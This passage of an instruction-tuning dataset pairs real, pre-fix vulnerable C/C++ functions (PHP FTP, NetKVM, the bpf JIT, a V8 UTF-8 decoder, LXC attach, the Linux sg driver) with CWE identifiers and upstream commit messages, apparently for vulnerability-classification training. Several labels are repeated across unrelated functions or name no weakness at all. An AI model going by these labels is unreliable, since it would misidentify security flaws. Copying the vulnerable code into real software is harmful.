GLOB_MARK | GLOB_NOSORT | GLOB_NOCHECK | GLOB_NOESCAPE | GLOB_ERR | GLOB_ONLYDIR)\n\n\tREGISTER_LONG_CONSTANT(\"GLOB_ONLYDIR\", GLOB_ONLYDIR, CONST_CS | CONST_PERSISTENT);\n\tREGISTER_LONG_CONSTANT(\"GLOB_AVAILABLE_FLAGS\", GLOB_AVAILABLE_FLAGS, CONST_CS | CONST_PERSISTENT);\n\n#endif /* HAVE_GLOB */\n\n\treturn SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-19'], 'message': 'Fixed bug #69418 - more s->p fixes for filenames'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: data_close(ftpbuf_t *ftp, databuf_t *data)\n{\n#if HAVE_OPENSSL_EXT\n\tSSL_CTX\t\t*ctx;\n#endif\t\t\t\t\n\tif (data == NULL) {\n\t\treturn NULL;\n\t}\n\tif (data->listener != -1) {\n#if HAVE_OPENSSL_EXT\n\t\tif (data->ssl_active) {\n\t\t\n\t\t\tctx = SSL_get_SSL_CTX(data->ssl_handle);\n\t\t\tSSL_CTX_free(ctx);\n\n\t\t\tSSL_shutdown(data->ssl_handle);\n\t\t\tSSL_free(data->ssl_handle);\n\t\t\tdata->ssl_active = 0;\n\t\t}\n#endif\t\t\t\t\n\t\tclosesocket(data->listener);\n\t}\t\n\tif (data->fd != -1) {\n#if HAVE_OPENSSL_EXT\n\t\tif (data->ssl_active) {\n\t\t\tctx = SSL_get_SSL_CTX(data->ssl_handle);\n\t\t\tSSL_CTX_free(ctx);\n\n\t\t\tSSL_shutdown(data->ssl_handle);\n\t\t\tSSL_free(data->ssl_handle);\n\t\t\tdata->ssl_active = 0;\n\t\t}\n#endif\t\t\t\t\n\t\tclosesocket(data->fd);\n\t}\t\n\tif (ftp) {\n\t\tftp->data = NULL;\n\t}\n\tefree(data);\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'Fix bug #69545 - avoid overflow when reading list'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ftp_nb_continue_write(ftpbuf_t *ftp TSRMLS_DC)\n{\n\tlong\t\t\tsize;\n\tchar\t\t\t*ptr;\n\tint \t\t\tch;\n\n\t/* check if we can write more data */\n\tif (!data_writeable(ftp, ftp->data->fd)) {\n\t\treturn PHP_FTP_MOREDATA;\n\t}\n\n\tsize = 0;\n\tptr = ftp->data->buf;\n\twhile (!php_stream_eof(ftp->stream) && (ch = php_stream_getc(ftp->stream)) != EOF) {\n\n\t\tif (ch == '\\n' && ftp->type == FTPTYPE_ASCII) {\n\t\t\t*ptr++ = '\\r';\n\t\t\tsize++;\n\t\t}\n\n\t\t*ptr++ = ch;\n\t\tsize++;\n\n\t\t/* flush if necessary */\n\t\tif (FTP_BUFSIZE - size < 2) {\n\t\t\tif (my_send(ftp, ftp->data->fd, ftp->data->buf, size) != size) {\n\t\t\t\tgoto bail;\n\t\t\t}\n\t\t\treturn PHP_FTP_MOREDATA;\n\t\t}\n\t}\n\n\tif (size && my_send(ftp, ftp->data->fd, ftp->data->buf, size) != size) {\n\t\tgoto bail;\n\t}\n\tftp->data = data_close(ftp, ftp->data);\n \n\tif (!ftp_getresp(ftp) || (ftp->resp != 226 && ftp->resp != 250)) {\n\t\tgoto bail;\n\t}\n\tftp->nb = 0;\n\treturn PHP_FTP_FINISHED;\nbail:\n\tftp->data = data_close(ftp, ftp->data);\n\tftp->nb = 0;\n\treturn PHP_FTP_FAILED;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'Fix bug #69545 - avoid overflow when reading list'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ftp_genlist(ftpbuf_t *ftp, const char *cmd, const char *path TSRMLS_DC)\n{\n\tphp_stream\t*tmpstream = NULL;\n\tdatabuf_t\t*data = NULL;\n\tchar\t\t*ptr;\n\tint\t\tch, lastch;\n\tint\t\tsize, rcvd;\n\tint\t\tlines;\n\tchar\t\t**ret = NULL;\n\tchar\t\t**entry;\n\tchar\t\t*text;\n\n\n\tif ((tmpstream = php_stream_fopen_tmpfile()) == NULL) {\n\t\tphp_error_docref(NULL TSRMLS_CC, E_WARNING, \"Unable to create temporary file. Check permissions in temporary files directory.\");\n\t\treturn NULL;\n\t}\n\n\tif (!ftp_type(ftp, FTPTYPE_ASCII)) {\n\t\tgoto bail;\n\t}\n\n\tif ((data = ftp_getdata(ftp TSRMLS_CC)) == NULL) {\n\t\tgoto bail;\n\t}\n\tftp->data = data;\t\n\n\tif (!ftp_putcmd(ftp, cmd, path)) {\n\t\tgoto bail;\n\t}\n\tif (!ftp_getresp(ftp) || (ftp->resp != 150 && ftp->resp != 125 && ftp->resp != 226)) {\n\t\tgoto bail;\n\t}\n\n\t/* some servers don't open a ftp-data connection if the directory is empty */\n\tif (ftp->resp == 226) {\n\t\tftp->data = data_close(ftp, data);\n\t\tphp_stream_close(tmpstream);\n\t\treturn ecalloc(1, sizeof(char**));\n\t}\n\n\t/* pull data buffer into tmpfile */\n\tif ((data = data_accept(data, ftp TSRMLS_CC)) == NULL) {\n\t\tgoto bail;\n\t}\n\tsize = 0;\n\tlines = 0;\n\tlastch = 0;\n\twhile ((rcvd = my_recv(ftp, data->fd, data->buf, FTP_BUFSIZE))) {\n\t\tif (rcvd == -1) {\n\t\t\tgoto bail;\n\t\t}\n\n\t\tphp_stream_write(tmpstream, data->buf, rcvd);\n\n\t\tsize += rcvd;\n\t\tfor (ptr = data->buf; rcvd; rcvd--, ptr++) {\n\t\t\tif (*ptr == '\\n' && lastch == '\\r') {\n\t\t\t\tlines++;\n\t\t\t} else {\n\t\t\t\tsize++;\n\t\t\t}\n\t\t\tlastch = *ptr;\n\t\t}\n\t}\n\n\tftp->data = data = data_close(ftp, data);\n\n\tphp_stream_rewind(tmpstream);\n\n\tret = safe_emalloc((lines + 1), sizeof(char**), size * sizeof(char*));\n\n\tentry = ret;\n\ttext = (char*) (ret + lines + 1);\n\t*entry = text;\n\tlastch = 0;\n\twhile ((ch = php_stream_getc(tmpstream)) != EOF) {\n\t\tif (ch == '\\n' && lastch == '\\r') {\n\t\t\t*(text - 1) = 0;\n\t\t\t*++entry = text;\n\t\t} else {\n\t\t\t*text++ = ch;\n\t\t}\n\t\tlastch = ch;\n\t}\n\t*entry = NULL;\n\n\tphp_stream_close(tmpstream);\n\n\tif (!ftp_getresp(ftp) || (ftp->resp != 226 && ftp->resp != 250)) {\n\t\tefree(ret);\n\t\treturn NULL;\n\t}\n\n\treturn ret;\nbail:\n\tftp->data = data_close(ftp, data);\n\tphp_stream_close(tmpstream);\n\tif (ret)\n\t\tefree(ret);\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-189'], 'message': 'Minor Coverity tweaks'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void CNB::SetupLSO(virtio_net_hdr_basic *VirtioHeader, PVOID IpHeader, ULONG EthPayloadLength) const\n{\n PopulateIPLength(reinterpret_cast(IpHeader), static_cast(EthPayloadLength));\n\n tTcpIpPacketParsingResult packetReview;\n packetReview = ParaNdis_CheckSumVerifyFlat(reinterpret_cast(IpHeader), EthPayloadLength,\n pcrIpChecksum | pcrFixIPChecksum | pcrTcpChecksum | pcrFixPHChecksum,\n __FUNCTION__);\n\n if (packetReview.xxpCheckSum == ppresPCSOK || packetReview.fixedXxpCS)\n {\n auto IpHeaderOffset = m_Context->Offload.ipHeaderOffset;\n auto VHeader = static_cast(VirtioHeader);\n auto PriorityHdrLen = (m_ParentNBL->TCI() != 0) ? ETH_PRIORITY_HEADER_SIZE : 0;\n\n VHeader->flags = VIRTIO_NET_HDR_F_NEEDS_CSUM;\n VHeader->gso_type = packetReview.ipStatus == ppresIPV4 ? VIRTIO_NET_HDR_GSO_TCPV4 : VIRTIO_NET_HDR_GSO_TCPV6;\n VHeader->hdr_len = (USHORT)(packetReview.XxpIpHeaderSize + IpHeaderOffset + PriorityHdrLen);\n VHeader->gso_size = (USHORT)m_ParentNBL->MSS();\n VHeader->csum_start = (USHORT)(m_ParentNBL->TCPHeaderOffset() + PriorityHdrLen);\n VHeader->csum_offset = TCP_CHECKSUM_OFFSET;\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'NetKVM: BZ#1169718: Checking the length only on read\n\nSigned-off-by: Joseph Hindin '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ProcessUDPHeader(tTcpIpPacketParsingResult _res, PVOID pIpHeader, ULONG len, USHORT ipHeaderSize)\n{\n tTcpIpPacketParsingResult res = _res;\n ULONG udpDataStart = ipHeaderSize + sizeof(UDPHeader);\n res.xxpStatus = ppresXxpIncomplete;\n res.TcpUdp = ppresIsUDP;\n res.XxpIpHeaderSize = udpDataStart;\n if (len >= udpDataStart)\n {\n UDPHeader *pUdpHeader = (UDPHeader *)RtlOffsetToPointer(pIpHeader, ipHeaderSize);\n USHORT datagramLength = swap_short(pUdpHeader->udp_length);\n res.xxpStatus = ppresXxpKnown;\n // may be full or not, but the datagram length is known\n DPrintf(2, (\"udp: len %d, datagramLength %d\\n\", len, datagramLength));\n }\n return res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'NetKVM: BZ#1169718: More rigoruous testing of incoming packet\n\nSigned-off-by: Joseph Hindin '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_FUNCTION(imagepsbbox)\n{\n\tzval *fnt;\n\tlong sz = 0, sp = 0, wd = 0;\n\tchar *str;\n\tint i, space = 0, add_width = 0, char_width, amount_kern;\n\tint cur_x, cur_y, dx, dy;\n\tint x1, y1, x2, y2, x3, y3, x4, y4;\n\tint *f_ind;\n\tint str_len, per_char = 0;\n\tint argc = ZEND_NUM_ARGS();\n\tdouble angle = 0, sin_a = 0, cos_a = 0;\n\tBBox char_bbox, str_bbox = {0, 0, 0, 0};\n\n\tif (argc != 3 && argc != 6) {\n\t\tZEND_WRONG_PARAM_COUNT();\n\t}\n\t\n\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"srl|lld\", &str, &str_len, &fnt, &sz, &sp, &wd, &angle) == FAILURE) {\n\t\treturn;\n\t}\n\t\n\tif (argc == 6) {\n\t\tspace = sp;\n\t\tadd_width = wd;\n\t\tangle = angle * M_PI / 180;\n\t\tsin_a = sin(angle);\n\t\tcos_a = cos(angle);\n\t\tper_char = add_width || angle ? 1 : 0;\n\t}\n\n\tZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, \"Type 1 font\", le_ps_font);\n\n#define max(a, b) (a > b ? a : b)\n#define min(a, b) (a < b ? a : b)\n#define new_x(a, b) (int) ((a) * cos_a - (b) * sin_a)\n#define new_y(a, b) (int) ((a) * sin_a + (b) * cos_a)\n\n\tif (per_char) {\n\t\tspace += T1_GetCharWidth(*f_ind, ' ');\n\t\tcur_x = cur_y = 0;\n\n\t\tfor (i = 0; i < str_len; i++) {\n\t\t\tif (str[i] == ' ') {\n\t\t\t\tchar_bbox.llx = char_bbox.lly = char_bbox.ury = 0;\n\t\t\t\tchar_bbox.urx = char_width = space;\n\t\t\t} else {\n\t\t\t\tchar_bbox = T1_GetCharBBox(*f_ind, str[i]);\n\t\t\t\tchar_width = T1_GetCharWidth(*f_ind, str[i]);\n\t\t\t}\n\t\t\tamount_kern = i ? T1_GetKerning(*f_ind, str[i - 1], str[i]) : 0;\n\n\t\t\t/* Transfer character bounding box to right place */\n\t\t\tx1 = new_x(char_bbox.llx, char_bbox.lly) + cur_x;\n\t\t\ty1 = new_y(char_bbox.llx, char_bbox.lly) + cur_y;\n\t\t\tx2 = new_x(char_bbox.llx, char_bbox.ury) + cur_x;\n\t\t\ty2 = new_y(char_bbox.llx, char_bbox.ury) + cur_y;\n\t\t\tx3 = new_x(char_bbox.urx, char_bbox.ury) + cur_x;\n\t\t\ty3 = new_y(char_bbox.urx, char_bbox.ury) + cur_y;\n\t\t\tx4 = new_x(char_bbox.urx, char_bbox.lly) + cur_x;\n\t\t\ty4 = new_y(char_bbox.urx, char_bbox.lly) + cur_y;\n\n\t\t\t/* Find min & max values and compare them with current bounding box */\n\t\t\tstr_bbox.llx = min(str_bbox.llx, min(x1, min(x2, min(x3, x4))));\n\t\t\tstr_bbox.lly = min(str_bbox.lly, min(y1, min(y2, min(y3, y4))));\n\t\t\tstr_bbox.urx = max(str_bbox.urx, max(x1, max(x2, max(x3, x4))));\n\t\t\tstr_bbox.ury = max(str_bbox.ury, max(y1, max(y2, max(y3, y4))));\n\n\t\t\t/* Move to the next base point */\n\t\t\tdx = new_x(char_width + add_width + amount_kern, 0);\n\t\t\tdy = new_y(char_width + add_width + amount_kern, 0);\n\t\t\tcur_x += dx;\n\t\t\tcur_y += dy;\n\t\t\t/*\n\t\t\tprintf(\"%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\t%d\\n\", x1, y1, x2, y2, x3, y3, x4, y4, char_bbox.llx, char_bbox.lly, char_bbox.urx, char_bbox.ury, char_width, amount_kern, cur_x, cur_y, dx, dy);\n\t\t\t*/\n\t\t}\n\n\t} else {\n\t\tstr_bbox = T1_GetStringBBox(*f_ind, str, str_len, space, T1_KERNING);\n\t}\n\n\tif (T1_errno) {\n\t\tRETURN_FALSE;\n\t}\n\n\tarray_init(return_value);\n\t/*\n\tprintf(\"%d %d %d %d\\n\", str_bbox.llx, str_bbox.lly, str_bbox.urx, str_bbox.ury);\n\t*/\n\tadd_next_index_long(return_value, (int) ceil(((double) str_bbox.llx)*sz/1000));\n\tadd_next_index_long(return_value, (int) ceil(((double) str_bbox.lly)*sz/1000));\n\tadd_next_index_long(return_value, (int) ceil(((double) str_bbox.urx)*sz/1000));\n\tadd_next_index_long(return_value, (int) ceil(((double) str_bbox.ury)*sz/1000));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fix #69719 - more checks for nulls in paths'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void bpf_int_jit_compile(struct bpf_prog *prog)\n{\n\tstruct bpf_binary_header *header = NULL;\n\tint proglen, oldproglen = 0;\n\tstruct jit_context ctx = {};\n\tu8 *image = NULL;\n\tint *addrs;\n\tint pass;\n\tint i;\n\n\tif (!bpf_jit_enable)\n\t\treturn;\n\n\tif (!prog || !prog->len)\n\t\treturn;\n\n\taddrs = kmalloc(prog->len * sizeof(*addrs), GFP_KERNEL);\n\tif (!addrs)\n\t\treturn;\n\n\t/* Before first pass, make a rough estimation of addrs[]\n\t * each bpf instruction is translated to less than 64 bytes\n\t */\n\tfor (proglen = 0, i = 0; i < prog->len; i++) {\n\t\tproglen += 64;\n\t\taddrs[i] = proglen;\n\t}\n\tctx.cleanup_addr = proglen;\n\n\tfor (pass = 0; pass < 10; pass++) {\n\t\tproglen = do_jit(prog, addrs, image, oldproglen, &ctx);\n\t\tif (proglen <= 0) {\n\t\t\timage = NULL;\n\t\t\tif (header)\n\t\t\t\tbpf_jit_binary_free(header);\n\t\t\tgoto out;\n\t\t}\n\t\tif (image) {\n\t\t\tif (proglen != oldproglen) {\n\t\t\t\tpr_err(\"bpf_jit: proglen=%d != oldproglen=%d\\n\",\n\t\t\t\t proglen, oldproglen);\n\t\t\t\tgoto out;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\tif (proglen == oldproglen) {\n\t\t\theader = bpf_jit_binary_alloc(proglen, &image,\n\t\t\t\t\t\t 1, jit_fill_hole);\n\t\t\tif (!header)\n\t\t\t\tgoto out;\n\t\t}\n\t\toldproglen = proglen;\n\t}\n\n\tif (bpf_jit_enable > 1)\n\t\tbpf_jit_dump(prog->len, proglen, 0, image);\n\n\tif (image) {\n\t\tbpf_flush_icache(header, image + proglen);\n\t\tset_memory_ro((unsigned long)header, header->pages);\n\t\tprog->bpf_func = (void *)image;\n\t\tprog->jited = true;\n\t}\nout:\n\tkfree(addrs);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-17'], 'message': 'x86: bpf_jit: fix compilation of large bpf programs\n\nx86 has variable length encoding. x86 JIT compiler is trying\nto pick the shortest encoding for given bpf instruction.\nWhile doing so the jump targets are changing, so JIT is doing\nmultiple passes over the program. Typical program needs 3 passes.\nSome very short programs converge with 2 passes. Large programs\nmay need 4 or 5. But specially crafted bpf programs may hit the\npass limit and if the program converges on the last iteration\nthe JIT compiler will be producing an image full of 'int 3' insns.\nFix this corner case by doing final iteration over bpf program.\n\nFixes: 0a14842f5a3c (\"net: filter: Just In Time compiler for x86-64\")\nReported-by: Daniel Borkmann \nSigned-off-by: Alexei Starovoitov \nTested-by: Daniel Borkmann \nAcked-by: Daniel Borkmann \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,\n uint16_t* data,\n unsigned data_length) {\n while (data_length != 0) {\n unsigned cursor = 0;\n uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor);\n // There's a total lack of bounds checking for stream\n // as it was already done in Reset.\n stream += cursor;\n if (character > unibrow::Utf16::kMaxNonSurrogateCharCode) {\n *data++ = Utf16::LeadSurrogate(character);\n *data++ = Utf16::TrailSurrogate(character);\n DCHECK(data_length > 1);\n data_length -= 2;\n } else {\n *data++ = character;\n data_length -= 1;\n }\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'deps: fix out-of-band write in utf8 decoder\n\nOriginally reported by: Kris Reeves \n\nReviewed-By: Trevor Norris '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int attach_child_main(void* data)\n{\n\tstruct attach_clone_payload* payload = (struct attach_clone_payload*)data;\n\tint ipc_socket = payload->ipc_socket;\n\tlxc_attach_options_t* options = payload->options;\n\tstruct lxc_proc_context_info* init_ctx = payload->init_ctx;\n#if HAVE_SYS_PERSONALITY_H\n\tlong new_personality;\n#endif\n\tint ret;\n\tint status;\n\tint expected;\n\tlong flags;\n\tint fd;\n\tuid_t new_uid;\n\tgid_t new_gid;\n\n\t/* wait for the initial thread to signal us that it's ready\n\t * for us to start initializing\n\t */\n\texpected = 0;\n\tstatus = -1;\n\tret = lxc_read_nointr_expect(ipc_socket, &status, sizeof(status), &expected);\n\tif (ret <= 0) {\n\t\tERROR(\"error using IPC to receive notification from initial process (0)\");\n\t\tshutdown(ipc_socket, SHUT_RDWR);\n\t\trexit(-1);\n\t}\n\n\t/* A description of the purpose of this functionality is\n\t * provided in the lxc-attach(1) manual page. We have to\n\t * remount here and not in the parent process, otherwise\n\t * /proc may not properly reflect the new pid namespace.\n\t */\n\tif (!(options->namespaces & CLONE_NEWNS) && (options->attach_flags & LXC_ATTACH_REMOUNT_PROC_SYS)) {\n\t\tret = lxc_attach_remount_sys_proc();\n\t\tif (ret < 0) {\n\t\t\tshutdown(ipc_socket, SHUT_RDWR);\n\t\t\trexit(-1);\n\t\t}\n\t}\n\n\t/* now perform additional attachments*/\n#if HAVE_SYS_PERSONALITY_H\n\tif (options->personality < 0)\n\t\tnew_personality = init_ctx->personality;\n\telse\n\t\tnew_personality = options->personality;\n\n\tif (options->attach_flags & LXC_ATTACH_SET_PERSONALITY) {\n\t\tret = personality(new_personality);\n\t\tif (ret < 0) {\n\t\t\tSYSERROR(\"could not ensure correct architecture\");\n\t\t\tshutdown(ipc_socket, SHUT_RDWR);\n\t\t\trexit(-1);\n\t\t}\n\t}\n#endif\n\n\tif (options->attach_flags & LXC_ATTACH_DROP_CAPABILITIES) {\n\t\tret = lxc_attach_drop_privs(init_ctx);\n\t\tif (ret < 0) {\n\t\t\tERROR(\"could not drop privileges\");\n\t\t\tshutdown(ipc_socket, SHUT_RDWR);\n\t\t\trexit(-1);\n\t\t}\n\t}\n\n\t/* always set the environment (specify (LXC_ATTACH_KEEP_ENV, NULL, NULL) if you want this to be a no-op) */\n\tret = lxc_attach_set_environment(options->env_policy, options->extra_env_vars, options->extra_keep_env);\n\tif (ret < 0) {\n\t\tERROR(\"could not set initial environment for attached process\");\n\t\tshutdown(ipc_socket, SHUT_RDWR);\n\t\trexit(-1);\n\t}\n\n\t/* set user / group id */\n\tnew_uid = 0;\n\tnew_gid = 0;\n\t/* ignore errors, we will fall back to root in that case\n\t * (/proc was not mounted etc.)\n\t */\n\tif (options->namespaces & CLONE_NEWUSER)\n\t\tlxc_attach_get_init_uidgid(&new_uid, &new_gid);\n\n\tif (options->uid != (uid_t)-1)\n\t\tnew_uid = options->uid;\n\tif (options->gid != (gid_t)-1)\n\t\tnew_gid = options->gid;\n\n\t/* setup the control tty */\n\tif (options->stdin_fd && isatty(options->stdin_fd)) {\n\t\tif (setsid() < 0) {\n\t\t\tSYSERROR(\"unable to setsid\");\n\t\t\tshutdown(ipc_socket, SHUT_RDWR);\n\t\t\trexit(-1);\n\t\t}\n\n\t\tif (ioctl(options->stdin_fd, TIOCSCTTY, (char *)NULL) < 0) {\n\t\t\tSYSERROR(\"unable to TIOCSTTY\");\n\t\t\tshutdown(ipc_socket, SHUT_RDWR);\n\t\t\trexit(-1);\n\t\t}\n\t}\n\n\t/* try to set the uid/gid combination */\n\tif ((new_gid != 0 || options->namespaces & CLONE_NEWUSER)) {\n\t\tif (setgid(new_gid) || setgroups(0, NULL)) {\n\t\t\tSYSERROR(\"switching to container gid\");\n\t\t\tshutdown(ipc_socket, SHUT_RDWR);\n\t\t\trexit(-1);\n\t\t}\n\t}\n\tif ((new_uid != 0 || options->namespaces & CLONE_NEWUSER) && setuid(new_uid)) {\n\t\tSYSERROR(\"switching to container uid\");\n\t\tshutdown(ipc_socket, SHUT_RDWR);\n\t\trexit(-1);\n\t}\n\n\t/* tell initial process it may now put us into the cgroups */\n\tstatus = 1;\n\tret = lxc_write_nointr(ipc_socket, &status, sizeof(status));\n\tif (ret != sizeof(status)) {\n\t\tERROR(\"error using IPC to notify initial process for initialization (1)\");\n\t\tshutdown(ipc_socket, SHUT_RDWR);\n\t\trexit(-1);\n\t}\n\n\t/* wait for the initial thread to signal us that it has done\n\t * everything for us when it comes to cgroups etc.\n\t */\n\texpected = 2;\n\tstatus = -1;\n\tret = lxc_read_nointr_expect(ipc_socket, &status, sizeof(status), &expected);\n\tif (ret <= 0) {\n\t\tERROR(\"error using IPC to receive final notification from initial process (2)\");\n\t\tshutdown(ipc_socket, SHUT_RDWR);\n\t\trexit(-1);\n\t}\n\n\tshutdown(ipc_socket, SHUT_RDWR);\n\tclose(ipc_socket);\n\n\t/* set new apparmor profile/selinux context */\n\tif ((options->namespaces & CLONE_NEWNS) && (options->attach_flags & LXC_ATTACH_LSM)) {\n\t\tint on_exec;\n\t\tint proc_mounted;\n\n\t\ton_exec = options->attach_flags & LXC_ATTACH_LSM_EXEC ? 1 : 0;\n\t\tproc_mounted = mount_proc_if_needed(\"/\");\n\t\tif (proc_mounted == -1) {\n\t\t\tERROR(\"Error mounting a sane /proc\");\n\t\t\trexit(-1);\n\t\t}\n\t\tret = lsm_process_label_set(init_ctx->lsm_label,\n\t\t\t\tinit_ctx->container->lxc_conf, 0, on_exec);\n\t\tif (proc_mounted)\n\t\t\tumount(\"/proc\");\n\t\tif (ret < 0) {\n\t\t\trexit(-1);\n\t\t}\n\t}\n\n\tif (init_ctx->container && init_ctx->container->lxc_conf &&\n\t\t\tlxc_seccomp_load(init_ctx->container->lxc_conf) != 0) {\n\t\tERROR(\"Loading seccomp policy\");\n\t\trexit(-1);\n\t}\n\n\tlxc_proc_put_context_info(init_ctx);\n\n\t/* The following is done after the communication socket is\n\t * shut down. That way, all errors that might (though\n\t * unlikely) occur up until this point will have their messages\n\t * printed to the original stderr (if logging is so configured)\n\t * and not the fd the user supplied, if any.\n\t */\n\n\t/* fd handling for stdin, stdout and stderr;\n\t * ignore errors here, user may want to make sure\n\t * the fds are closed, for example */\n\tif (options->stdin_fd >= 0 && options->stdin_fd != 0)\n\t\tdup2(options->stdin_fd, 0);\n\tif (options->stdout_fd >= 0 && options->stdout_fd != 1)\n\t\tdup2(options->stdout_fd, 1);\n\tif (options->stderr_fd >= 0 && options->stderr_fd != 2)\n\t\tdup2(options->stderr_fd, 2);\n\n\t/* close the old fds */\n\tif (options->stdin_fd > 2)\n\t\tclose(options->stdin_fd);\n\tif (options->stdout_fd > 2)\n\t\tclose(options->stdout_fd);\n\tif (options->stderr_fd > 2)\n\t\tclose(options->stderr_fd);\n\n\t/* try to remove CLOEXEC flag from stdin/stdout/stderr,\n\t * but also here, ignore errors */\n\tfor (fd = 0; fd <= 2; fd++) {\n\t\tflags = fcntl(fd, F_GETFL);\n\t\tif (flags < 0)\n\t\t\tcontinue;\n\t\tif (flags & FD_CLOEXEC) {\n\t\t\tif (fcntl(fd, F_SETFL, flags & ~FD_CLOEXEC) < 0) {\n\t\t\t\tSYSERROR(\"Unable to clear CLOEXEC from fd\");\n\t\t\t}\n\t\t}\n\t}\n\n\t/* we're done, so we can now do whatever the user intended us to do */\n\trexit(payload->exec_function(payload->exec_payload));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-17'], 'message': 'CVE-2015-1334: Don't use the container's /proc during attach\n\nA user could otherwise over-mount /proc and prevent the apparmor profile\nor selinux label from being written which combined with a modified\n/bin/sh or other commonly used binary would lead to unconfined code\nexecution.\n\nReported-by: Roman Fiedler\nSigned-off-by: St\u00e9phane Graber '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: sg_start_req(Sg_request *srp, unsigned char *cmd)\n{\n\tint res;\n\tstruct request *rq;\n\tSg_fd *sfp = srp->parentfp;\n\tsg_io_hdr_t *hp = &srp->header;\n\tint dxfer_len = (int) hp->dxfer_len;\n\tint dxfer_dir = hp->dxfer_direction;\n\tunsigned int iov_count = hp->iovec_count;\n\tSg_scatter_hold *req_schp = &srp->data;\n\tSg_scatter_hold *rsv_schp = &sfp->reserve;\n\tstruct request_queue *q = sfp->parentdp->device->request_queue;\n\tstruct rq_map_data *md, map_data;\n\tint rw = hp->dxfer_direction == SG_DXFER_TO_DEV ? WRITE : READ;\n\tunsigned char *long_cmdp = NULL;\n\n\tSCSI_LOG_TIMEOUT(4, sg_printk(KERN_INFO, sfp->parentdp,\n\t\t\t\t \"sg_start_req: dxfer_len=%d\\n\",\n\t\t\t\t dxfer_len));\n\n\tif (hp->cmd_len > BLK_MAX_CDB) {\n\t\tlong_cmdp = kzalloc(hp->cmd_len, GFP_KERNEL);\n\t\tif (!long_cmdp)\n\t\t\treturn -ENOMEM;\n\t}\n\n\t/*\n\t * NOTE\n\t *\n\t * With scsi-mq enabled, there are a fixed number of preallocated\n\t * requests equal in number to shost->can_queue. If all of the\n\t * preallocated requests are already in use, then using GFP_ATOMIC with\n\t * blk_get_request() will return -EWOULDBLOCK, whereas using GFP_KERNEL\n\t * will cause blk_get_request() to sleep until an active command\n\t * completes, freeing up a request. Neither option is ideal, but\n\t * GFP_KERNEL is the better choice to prevent userspace from getting an\n\t * unexpected EWOULDBLOCK.\n\t *\n\t * With scsi-mq disabled, blk_get_request() with GFP_KERNEL usually\n\t * does not sleep except under memory pressure.\n\t */\n\trq = blk_get_request(q, rw, GFP_KERNEL);\n\tif (IS_ERR(rq)) {\n\t\tkfree(long_cmdp);\n\t\treturn PTR_ERR(rq);\n\t}\n\n\tblk_rq_set_block_pc(rq);\n\n\tif (hp->cmd_len > BLK_MAX_CDB)\n\t\trq->cmd = long_cmdp;\n\tmemcpy(rq->cmd, cmd, hp->cmd_len);\n\trq->cmd_len = hp->cmd_len;\n\n\tsrp->rq = rq;\n\trq->end_io_data = srp;\n\trq->sense = srp->sense_b;\n\trq->retries = SG_DEFAULT_RETRIES;\n\n\tif 